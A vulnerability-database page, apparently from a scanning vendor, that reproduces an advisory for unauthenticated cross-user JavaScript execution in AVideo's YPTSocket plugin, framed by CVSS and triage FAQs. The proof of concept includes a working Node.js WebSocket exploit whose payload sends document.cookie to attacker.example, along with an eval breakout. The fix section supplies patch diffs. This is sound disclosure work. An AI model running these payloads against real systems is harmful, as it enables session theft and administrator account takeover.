How should we interpret CVSS severity scores?

CVSS estimates technical severity, but it does not automatically equal business risk. Prioritize using context like internet exposure, asset criticality, known exploitation, and whether compensating controls exist. A Medium CVSS on an exposed production system can be more urgent than a Critical on an isolated non-production host.

Vulnerability Database

Q: What is a Vulnerability (CVE) and why does it matter?

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

Q: What's the difference between a vulnerability, an exploit, and a zero-day?

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. Risk increases sharply when exploitation becomes reliable or widespread.

Q: Why do vulnerabilities keep reappearing in our environment?

Recurring findings usually come from incomplete asset discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host.

Q: How do we prioritize remediation without burning out the team?

Use a repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress so remediation is steady, not reactive.

Q: How can SynScan help reduce vulnerability risk over time?

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.

352,262

Total vulnerabilities in the database

WWBN AVideo YPTSocket WebSocket Broadcast Relay Leads to Unauthenticated Cross-User JavaScript Execution via Client-Side eval() Sinks — wwbn / avideo

Improper Control of Generation of Code ('Code Injection')

Summary

The YPTSocket plugin's WebSocket server relays attacker-supplied JSON message bodies to every connected client without sanitizing the msg or callback fields. On the client side, plugin/YPTSocket/script.js contains two eval() sinks fed directly by those relayed fields (json.msg.autoEvalCodeOnHTML at line 568 and json.callback at line 95). Because tokens are minted for anonymous visitors and never revalidated beyond decryption, an unauthenticated attacker can broadcast arbitrary JavaScript that executes in the origin of every currently-connected user (including administrators), resulting in universal account takeover, session theft, and privileged action execution.

Details

Token issuance is unauthenticated

plugin/YPTSocket/getWebSocket.json.php:11-21 returns a token to anyone whose request reaches the endpoint — the only check is that the plugin is enabled:

if(!AVideoPlugin::isEnabledByName(&quot;YPTSocket&quot;)){
    $obj-&gt;msg = &quot;Socket plugin not enabled&quot;;
    die(json_encode($obj));
}
$obj-&gt;error = false;
$obj-&gt;webSocketToken = getEncryptedInfo(0);
$obj-&gt;webSocketURL = YPTSocket::getWebSocketURL();

getEncryptedInfo() in plugin/YPTSocket/functions.php:3-16 populates from_users_id = User::getId() (0 for guests) and isAdmin = User::isAdmin() (false for guests). The issued token is accepted by the WebSocket server's onOpen handler (Message.php:44-52) solely by successful decryption — there is no requirement for the connecting principal to be authenticated.

Server relays attacker JSON verbatim

plugin/YPTSocket/Message.php:191-245 — the default branch of onMessage only rewrites from_identification:

public function onMessage(ConnectionInterface $from, $msg) {
    ...
    $json = _json_decode($msg);
    if (empty($json-&gt;webSocketToken)) { return false; }
    if (!$msgObj = getDecryptedInfo($json-&gt;webSocketToken)) { return false; }

    switch ($json-&gt;msg) {
        ...
        default:
            $this-&gt;msgToArray($json);
            if (isset($json[&#039;from_identification&#039;])) {
                $json[&#039;from_identification&#039;] = strip_tags((string)($msgObj-&gt;user_name ?? &#039;&#039;));
            }
            ...
            } else {
                $this-&gt;msgToAll($from, $json);  // broadcast
            }
            break;
    }
}

msgToResourceId() at Message.php:297-310 copies the attacker-controlled callback and msg fields into the outbound payload:

if (isset($msg[&#039;callback&#039;])) {
    $obj[&#039;callback&#039;] = $msg[&#039;callback&#039;];  // tainted
    ...
}
...
} else if (!empty($msg[&#039;msg&#039;])) {
    $obj[&#039;msg&#039;] = $msg[&#039;msg&#039;];  // tainted — entire object forwarded verbatim
}

$obj is JSON-encoded at line 335 and sent to every connected client.

Client-side sink #1: `autoEvalCodeOnHTML` → eval

plugin/YPTSocket/script.js:163-169 (raw WebSocket transport) sets every inbound frame as yptSocketResponse and unconditionally calls parseSocketResponse():

connWS.onmessage = function (e) {
    var json = JSON.parse(e.data);
    ...
    yptSocketResponse = json;
    parseSocketResponse();
    ...
};

parseSocketResponse() at script.js:545-569 reaches the sink:

async function parseSocketResponse() {
    const json = yptSocketResponse;
    ...
    if (json.msg?.autoEvalCodeOnHTML !== undefined) {
        eval(json.msg.autoEvalCodeOnHTML);   // &lt;-- attacker-controlled
    }
    ...
}

Client-side sink #2: `json.callback` → eval

plugin/YPTSocket/script.js:91-95 — processSocketJson() concatenates attacker-controlled json.callback into an eval'd string. This path is reachable on BOTH transports: the raw WebSocket branch (script.js:182) and the Socket.IO branch (script.js:339 via socket.on("message", (data) => { … processSocketJson(data) })):

if (json.callback) {
    var code = &quot;if (typeof &quot; + json.callback + &quot; == &#039;function&#039;) { myfunc = &quot; + json.callback + &quot;; } else { myfunc = defaultCallback; }&quot;;
    socketLog(&#039;Executing callback:&#039;, json.callback);
    eval(code);
    ...
}

Because json.callback is interpolated as raw source, a payload like alert(document.cookie);window.x breaks out of the typeof expression and executes during the condition evaluation.

PoC

Prerequisite: target is running AVideo with the YPTSocket plugin enabled (default on most installs).

Step 1 — obtain a token anonymously (no cookies, no auth):

curl -s &#039;https://target.example/plugin/YPTSocket/getWebSocket.json.php&#039;

Expected output (abbreviated):

{&quot;error&quot;:false,&quot;msg&quot;:&quot;&quot;,&quot;webSocketToken&quot;:&quot;&lt;long encrypted token&gt;&quot;,&quot;webSocketURL&quot;:&quot;wss://target.example:8888/?webSocketToken=&lt;token&gt;&amp;...&quot;}

Step 2 — connect to the WebSocket endpoint using the returned webSocketURL. A minimal Node.js client:

const WebSocket = require(&#039;ws&#039;);
const TOKEN = &#039;&lt;token from step 1&gt;&#039;;
const URL   = &#039;&lt;webSocketURL from step 1&gt;&#039;;
const ws = new WebSocket(URL, { rejectUnauthorized: false });

ws.on(&#039;open&#039;, () =&gt; {
    // Payload 1 — primary sink (raw WebSocket transport):
    ws.send(JSON.stringify({
        webSocketToken: TOKEN,
        msg: {
            autoEvalCodeOnHTML:
                &quot;fetch(&#039;https://attacker.example/x?c=&#039;+encodeURIComponent(document.cookie));&quot; +
                &quot;alert(&#039;XSS as &#039;+document.domain);&quot;
        }
    }));

    // Payload 2 — secondary sink (reaches both raw WS and Socket.IO clients):
    ws.send(JSON.stringify({
        webSocketToken: TOKEN,
        msg: &quot;p&quot;,
        callback: &quot;alert(document.domain);window.x&quot;
    }));
});

Step 3 — observe impact. Every other user currently connected to the same AVideo instance (via any page that loads YPTSocket's script.js — the global footer, the admin dashboard, live streams, video pages) receives the broadcast. In their browser:

Payload 1 reaches parseSocketResponse() at line 568 and evaluates eval(json.msg.autoEvalCodeOnHTML), firing the exfiltration request to attacker.example with document.cookie.
Payload 2 reaches processSocketJson() at line 95; the synthesized code string is if (typeof alert(document.domain);window.x == 'function') { ... }, which executes alert(document.domain) during the typeof evaluation.

Any administrator who is online at the moment of the broadcast has their session cookie exfiltrated and/or arbitrary actions performed in their browser context.

Impact

A single unauthenticated request and one WebSocket frame grants the attacker universal client-side code execution across every user currently connected to the target AVideo instance. Concretely:

Session theft of every connected user, including administrators (note: HttpOnly does not help because the attacker's JS runs in-origin and can call privileged endpoints directly without ever reading cookies).
Privileged action execution on behalf of any admin who happens to be online — including plugin installation (GHSA-v8jw-8w5p-23g3 shows admin plugin ZIP upload is already an RCE primitive), user promotion/demotion, video deletion, configuration changes.
Stored cross-user JS persistence via localStorage, IndexedDB, or re-submitting the payload as a comment/title through admin credentials.
Financial redirection (payment flows, crypto-donation addresses) and phishing via arbitrary DOM rewriting of the authentic AVideo origin.
The scope change (S:C) is genuine: an unauthenticated (or low-privileged) attacker's actions cross the trust boundary into every other user's browser authorization context, including admin.

Recommended Fix

Multiple defense-in-depth layers are required:

1. Remove the client-side eval sinks entirely. plugin/YPTSocket/script.js:

- if (json.msg?.autoEvalCodeOnHTML !== undefined) {
-     eval(json.msg.autoEvalCodeOnHTML);
- }

No legitimate server flow should push arbitrary JavaScript through a broadcast channel — if server-driven UI updates are needed, use structured data and predefined handler functions.

Replace the callback dispatch at lines 91-95 with a strict name-based lookup against a predefined allowlist:

- if (json.callback) {
-     var code = &quot;if (typeof &quot; + json.callback + &quot; == &#039;function&#039;) { myfunc = &quot; + json.callback + &quot;; } else { myfunc = defaultCallback; }&quot;;
-     eval(code);
-     ...
- } else {
-     myfunc = defaultCallback;
- }
+ var ALLOWED_CALLBACKS = [&#039;socketNewConnection&#039;, &#039;socketDisconnection&#039;, /* ... */];
+ if (typeof json.callback === &#039;string&#039; &amp;&amp; ALLOWED_CALLBACKS.indexOf(json.callback) !== -1
+     &amp;&amp; typeof window[json.callback] === &#039;function&#039;) {
+     myfunc = window[json.callback];
+     const event = new CustomEvent(json.callback, { detail: _details });
+     document.dispatchEvent(event);
+ } else {
+     myfunc = defaultCallback;
+ }

2. Server-side: allowlist keys on relayed msg objects. In plugin/YPTSocket/Message.php::onMessage() default branch, whitelist the fields permitted in relayed broadcasts rather than forwarding $msg['msg'] verbatim:

// At top of default branch, after msgToArray:
$ALLOWED_MSG_KEYS = [&#039;type&#039;, &#039;text&#039;, &#039;videos_id&#039;, &#039;users_id&#039;, /* ... */];
if (isset($json[&#039;msg&#039;]) &amp;&amp; is_array($json[&#039;msg&#039;])) {
    $json[&#039;msg&#039;] = array_intersect_key($json[&#039;msg&#039;], array_flip($ALLOWED_MSG_KEYS));
}
// Similarly sanitize callback:
if (isset($json[&#039;callback&#039;]) &amp;&amp; !preg_match(&#039;/^[a-zA-Z_][a-zA-Z0-9_]*$/&#039;, (string)$json[&#039;callback&#039;])) {
    unset($json[&#039;callback&#039;]);
}

3. Restrict token issuance and sender privileges. plugin/YPTSocket/getWebSocket.json.php should require authentication (or at least reject anonymous broadcast capability). Unprivileged senders should not be permitted to trigger msgToAll at all — the default branch of onMessage should require $msgObj->isAdmin (or equivalent) before allowing broadcasts, since there is no legitimate reason for arbitrary clients to originate system-wide messages.

Published: Apr 14, 2026
Updated: Apr 15, 2026
GHSA: GHSA-gph2-j4c9-vhhr
Severity: Critical
Exploit:
CISA KEV:

CVSS v3:

Severity: Unknown
Score:
AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

CWEs:

CWE-94

Affected Software
References

Software	From	Fixed in
wwbn / avideo	-	29.0.x

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Frequently Asked Questions

What is a Vulnerability (CVE) and why does it matter?

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.

Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.

Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.